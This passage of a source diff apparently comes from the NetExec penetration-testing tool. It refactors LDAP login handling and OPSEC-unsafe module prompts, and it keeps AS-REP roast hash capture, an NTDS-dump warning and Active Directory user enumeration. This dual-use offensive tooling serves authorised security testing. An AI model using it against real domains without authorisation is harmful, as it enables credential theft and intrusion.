|
||||
nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
|
||||
exit(0)
|
||||
elif args.module:
|
||||
nxc_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
|
||||
for m in map(str.lower, args.module):
|
||||
# Check the modules for sanity before loading the protocol
|
||||
nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
|
||||
proto_module_paths = []
|
||||
for m in args.module:
|
||||
if m not in modules:
|
||||
nxc_logger.error(f"Module not found: {m}")
|
||||
exit(1)
|
||||
|
||||
nxc_logger.debug(f"Loading module {m} at path {modules[m]['path']}")
|
||||
nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}")
|
||||
module = loader.init_module(modules[m]["path"])
|
||||
|
||||
if not module.opsec_safe:
|
||||
@@ -198,22 +189,12 @@ def main():
|
||||
nxc_logger.debug("ignore_opsec is set in the configuration, skipping prompt")
|
||||
nxc_logger.display("Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
|
||||
else:
|
||||
ans = input(
|
||||
highlight(
|
||||
"[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf",
|
||||
"red",
|
||||
)
|
||||
)
|
||||
ans = input(highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf", "red"))
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
|
||||
if not module.multiple_hosts and len(targets) > 1:
|
||||
ans = input(
|
||||
highlight(
|
||||
"[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
|
||||
"red",
|
||||
)
|
||||
)
|
||||
ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", "red"))
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
|
||||
@@ -224,24 +205,18 @@ def main():
|
||||
if not args.server_port:
|
||||
args.server_port = server_port_dict[args.server]
|
||||
|
||||
nxc_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
|
||||
nxc_logger.debug(f"proto object dir: {dir(protocol_object)}")
|
||||
# get currently set modules, otherwise default to empty list
|
||||
current_modules = getattr(protocol_object, "module", [])
|
||||
current_modules.append(module)
|
||||
protocol_object.module = current_modules
|
||||
nxc_logger.debug(f"proto object module after adding: {protocol_object.module}")
|
||||
# Add modules paths to the protocol object so it can load them itself
|
||||
proto_module_paths.append(modules[m]["path"])
|
||||
protocol_object.module_paths = proto_module_paths
|
||||
|
||||
if hasattr(args, "ntds") and args.ntds and not args.userntds:
|
||||
ans = input(
|
||||
highlight(
|
||||
"[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ",
|
||||
"red",
|
||||
)
|
||||
)
|
||||
ans = input(highlight("[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ", "red"))
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
|
||||
if args.jitter and len(targets) > 1:
|
||||
nxc_logger.highlight(highlight("[!] Jitter is only throttling authentications per target!", "red"))
|
||||
|
||||
try:
|
||||
asyncio.run(start_run(protocol_object, args, db, targets))
|
||||
except KeyboardInterrupt:
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
def parse_result_attributes(ldap_response):
|
||||
parsed_response = []
|
||||
for entry in ldap_response:
|
||||
# SearchResultReferences may be returned
|
||||
if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
|
||||
continue
|
||||
attribute_map = {}
|
||||
for attribute in entry["attributes"]:
|
||||
attribute_map[str(attribute["type"])] = str(attribute["vals"][0])
|
||||
parsed_response.append(attribute_map)
|
||||
return parsed_response
|
||||
@@ -74,7 +74,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
+193
-167
@@ -5,7 +5,7 @@ import hmac
|
||||
import os
|
||||
import socket
|
||||
from binascii import hexlify
|
||||
from datetime import datetime
|
||||
from datetime import datetime, timedelta
|
||||
from re import sub, I
|
||||
from zipfile import ZipFile
|
||||
from termcolor import colored
|
||||
@@ -38,6 +38,7 @@ from nxc.logger import NXCAdapter, nxc_logger
|
||||
from nxc.protocols.ldap.bloodhound import BloodHound
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
from nxc.protocols.ldap.kerberos import KerberosAttacks
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
ldap_error_status = {
|
||||
"1": "STATUS_NOT_SUPPORTED",
|
||||
@@ -165,7 +166,7 @@ class ldap(connection):
|
||||
ldap_url = f"{proto}://{host}"
|
||||
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(ldap_url)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
|
||||
if ldap_connection:
|
||||
self.logger.debug(f"ldap_connection: {ldap_connection}")
|
||||
except SysCallError as e:
|
||||
@@ -212,6 +213,7 @@ class ldap(connection):
|
||||
try:
|
||||
string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
|
||||
transport = DCERPCTransportFactory(string_binding)
|
||||
transport.setRemoteHost(self.host)
|
||||
transport.set_connect_timeout(5)
|
||||
dce = transport.get_dce_rpc()
|
||||
if self.args.kerberos:
|
||||
@@ -251,11 +253,10 @@ class ldap(connection):
|
||||
def enum_host_info(self):
|
||||
self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
|
||||
self.hostname = self.target
|
||||
self.remoteName = self.target
|
||||
self.domain = self.targetDomain
|
||||
# smb no open, specify the domain
|
||||
if self.args.no_smb:
|
||||
self.domain = self.args.domain
|
||||
else:
|
||||
if not self.args.no_smb:
|
||||
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
try:
|
||||
@@ -266,8 +267,8 @@ class ldap(connection):
|
||||
if "STATUS_NOT_SUPPORTED" in str(e):
|
||||
self.no_ntlm = True
|
||||
if not self.no_ntlm:
|
||||
self.domain = self.conn.getServerDNSDomainName()
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.targetDomain = self.domain = self.conn.getServerDNSDomainName()
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
|
||||
self.os_arch = self.get_os_arch()
|
||||
@@ -275,6 +276,11 @@ class ldap(connection):
|
||||
|
||||
if not self.domain:
|
||||
self.domain = self.hostname
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
try: # noqa: SIM105
|
||||
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
|
||||
@@ -282,40 +288,32 @@ class ldap(connection):
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
# Re-connect since we logged off
|
||||
self.create_conn_obj()
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
|
||||
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.debug("Printing host info for LDAP")
|
||||
if self.args.no_smb:
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "389"
|
||||
self.logger.display(f"Connecting to LDAP {self.hostname}")
|
||||
self.logger.extra["protocol"] = "LDAP" if self.port == "389" else "LDAPS"
|
||||
self.logger.extra["port"] = self.port
|
||||
self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
|
||||
else:
|
||||
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
|
||||
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
|
||||
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
|
||||
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
return True
|
||||
|
||||
def kerberos_login(
|
||||
self,
|
||||
domain,
|
||||
username,
|
||||
password="",
|
||||
ntlm_hash="",
|
||||
aesKey="",
|
||||
kdcHost="",
|
||||
useCache=False,
|
||||
):
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.domain = domain
|
||||
@@ -342,42 +340,29 @@ class ldap(connection):
|
||||
if hash_tgt:
|
||||
self.logger.highlight(f"{hash_tgt}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(hash_tgt + "\n")
|
||||
hash_asreproast.write(f"{hash_tgt}\n")
|
||||
return False
|
||||
|
||||
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
|
||||
self.ldapConnection.kerberosLogin(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=useCache,
|
||||
)
|
||||
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
|
||||
self.check_if_admin()
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
out = f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
|
||||
self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
|
||||
|
||||
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -408,33 +393,21 @@ class ldap(connection):
|
||||
# We need to try SSL
|
||||
try:
|
||||
# Connect to LDAPS
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.ldapConnection.kerberosLogin(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=useCache,
|
||||
)
|
||||
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username} {self.mark_pwned()}"
|
||||
self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}")
|
||||
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -471,26 +444,24 @@ class ldap(connection):
|
||||
if hash_tgt:
|
||||
self.logger.highlight(f"{hash_tgt}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(hash_tgt + "\n")
|
||||
hash_asreproast.write(f"{hash_tgt}\n")
|
||||
return False
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -500,25 +471,18 @@ class ldap(connection):
|
||||
# We need to try SSL
|
||||
try:
|
||||
# Connect to LDAPS
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.ldapConnection.login(
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
)
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -529,12 +493,15 @@ class ldap(connection):
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
if proto == "ldaps":
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
@@ -566,25 +533,25 @@ class ldap(connection):
|
||||
if hash_tgt:
|
||||
self.logger.highlight(f"{hash_tgt}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(hash_tgt + "\n")
|
||||
hash_asreproast.write(f"{hash_tgt}\n")
|
||||
return False
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -593,25 +560,19 @@ class ldap(connection):
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
try:
|
||||
# We need to try SSL
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.ldapConnection.login(
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
)
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -622,12 +583,15 @@ class ldap(connection):
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
if proto == "ldaps":
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
@@ -695,7 +659,7 @@ class ldap(connection):
|
||||
attributes = ["objectSid"]
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
answers = []
|
||||
if resp and self.password != "" and self.username != "":
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "":
|
||||
for attribute in resp[0][1]:
|
||||
if str(attribute["type"]) == "objectSid":
|
||||
sid = self.sid_to_str(attribute["vals"][0])
|
||||
@@ -753,37 +717,54 @@ class ldap(connection):
|
||||
return False
|
||||
|
||||
def users(self):
|
||||
# Building the search filter
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
attributes = [
|
||||
"sAMAccountName",
|
||||
"description",
|
||||
"badPasswordTime",
|
||||
"badPwdCount",
|
||||
"pwdLastSet",
|
||||
]
|
||||
"""
|
||||
Retrieves user information from the LDAP server.
|
||||
|
||||
Args:
|
||||
----
|
||||
input_attributes (list): Optional. List of attributes to retrieve for each user.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
if len(self.args.users) > 0:
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
|
||||
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
|
||||
else:
|
||||
self.logger.debug("Trying to dump all users")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
|
||||
# default to these attributes to mirror the SMB --users functionality
|
||||
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
|
||||
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
||||
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
if resp:
|
||||
self.logger.display(f"Total of records returned {len(resp):d}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
description = ""
|
||||
try:
|
||||
if self.username == "":
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
else:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "description":
|
||||
description = str(attribute["vals"][0])
|
||||
self.logger.highlight(f"{sAMAccountName:<30} {description}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
return
|
||||
# I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it
|
||||
if self.username == "":
|
||||
self.logger.display(f"Total records returned: {len(resp):d}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
return
|
||||
|
||||
users = parse_result_attributes(resp)
|
||||
# we print the total records after we parse the results since often SearchResultReferences are returned
|
||||
self.logger.display(f"Total records returned: {len(users):d}")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
for user in users:
|
||||
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
|
||||
parsed_pw_last_set = ""
|
||||
pwd_last_set = user.get("pwdLastSet", "")
|
||||
if pwd_last_set != "":
|
||||
timestamp_seconds = int(pwd_last_set) / 10**7
|
||||
start_date = datetime(1601, 1, 1)
|
||||
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
if parsed_pw_last_set == "1601-01-01 00:00:00":
|
||||
parsed_pw_last_set = "<never>"
|
||||
# we default attributes to blank strings if they don't exist in the dict
|
||||
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}")
|
||||
|
||||
def groups(self):
|
||||
# Building the search filter
|
||||
@@ -832,32 +813,74 @@ class ldap(connection):
|
||||
self.logger.fail(f"Skipping item, cannot process due to error {e}")
|
||||
|
||||
def active_users(self):
|
||||
# Building the search filter
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
attributes = ["sAMAccountName", "userAccountControl"]
|
||||
if len(self.args.active_users) > 0:
|
||||
arg = True
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
|
||||
else:
|
||||
arg = False
|
||||
self.logger.debug("Trying to dump all users")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
if resp:
|
||||
for item in resp:
|
||||
# default to these attributes to mirror the SMB --users functionality
|
||||
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
|
||||
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
||||
allusers = parse_result_attributes(resp)
|
||||
|
||||
count = 0
|
||||
activeusers = []
|
||||
argsusers = []
|
||||
|
||||
if arg:
|
||||
resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0)
|
||||
users_args = parse_result_attributes(resp_args)
|
||||
# This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing
|
||||
for i in range(len(self.args.active_users)):
|
||||
try:
|
||||
argsusers.append(users_args[i])
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
else:
|
||||
argsusers = allusers
|
||||
|
||||
for user in allusers:
|
||||
user_account_control = user.get("userAccountControl")
|
||||
if user_account_control is not None: # Check if user_account_control is not None
|
||||
account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list
|
||||
account_disabled = int(account_control) & 2
|
||||
if not account_disabled:
|
||||
count += 1
|
||||
activeusers.append(user.get("sAMAccountName").lower())
|
||||
else:
|
||||
self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None")
|
||||
|
||||
if self.username == "":
|
||||
self.logger.display(f"Total records returned: {len(resp):d}")
|
||||
for item in resp_args:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
userAccountControl = ""
|
||||
try:
|
||||
if self.username == "":
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
else:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
